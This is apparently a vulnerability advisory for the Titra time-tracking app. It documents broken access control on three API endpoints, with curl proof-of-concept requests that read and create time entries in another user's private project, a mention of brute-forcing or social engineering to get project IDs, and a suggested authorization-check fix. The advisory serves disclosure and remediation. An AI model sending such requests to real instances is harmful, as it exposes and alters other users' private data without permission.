Summary

Titra suffers from Broken Access Control vulnerabilities on multiple endpoint, allowing another user to view and edit other user's time entries in a private project.

Details

1. GET /project/timeentries/:projectId
2. GET /project/timeentriesfordaterange/:projectId/:fromDate/:toDate
   server/APIroutes.js - Lines 218-223 and 261-275

And

1. POST /timeentry/create/
   server/APIroutes.js - Lines 77-107

PoC

The UserA_Project_ID can be obtained through:

• Bruteforcing
• Social Engineering

GET Endpoints

1. Create two users: UserA and UserB
2. UserA creates a private project and adds time entries
3. UserB generates an API token
4. UserB sends request to /project/timeentries/{UserA_Project_ID} or
   /project/timeentriesfordaterange/{UserA_Project_ID}/{START_DATE}/{END_DATE}
5. UserB receives UserA's private time entries

curl -H "Authorization: Bearer USERB_API_TOKEN" \
  "http://localhost:3000/project/timeentries/USER_A_PROJECT_ID"

curl -H "Authorization: Bearer USERB_API_TOKEN" \
  "http://localhost:3000/project/timeentriesfordaterange/USER_A_PROJECT_ID/2025-01-01/2025-12-31"

POST Endpoint

1. Create two users: UserA and UserB
2. UserA creates a private project
3. UserB generates an API token
4. UserB sends a POST request to /timeentry/create/ with UserA's project ID
5. UserB successfully creates a time entry in UserA's private project

curl -X POST "http://192.168.52.1:3000/timeentry/create/" \
  -H "Authorization: Bearer USERB_API_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "projectId": "USER_A_PROJECT_ID",
    "task": "Unauthorized Entry",
    "date": "2025-12-27",
    "hours": 8
  }'

In the demo, I use the payload shown from the Mass Assignment PoC. The logic of improper access control should stay the same, mass assignment only signifies the severity.

Suggested Fix

Add project authorization check similar to /project/tasks/ endpoint at line 569:

const project = await Projects.findOneAsync({
  _id: json.projectId,
  $or: [{ userId: meteorUser._id }, { public: true }, { team: meteorUser._id }],
})
if (!project) {
  sendResponse(res, 403, 'Access denied to project.')
  return
}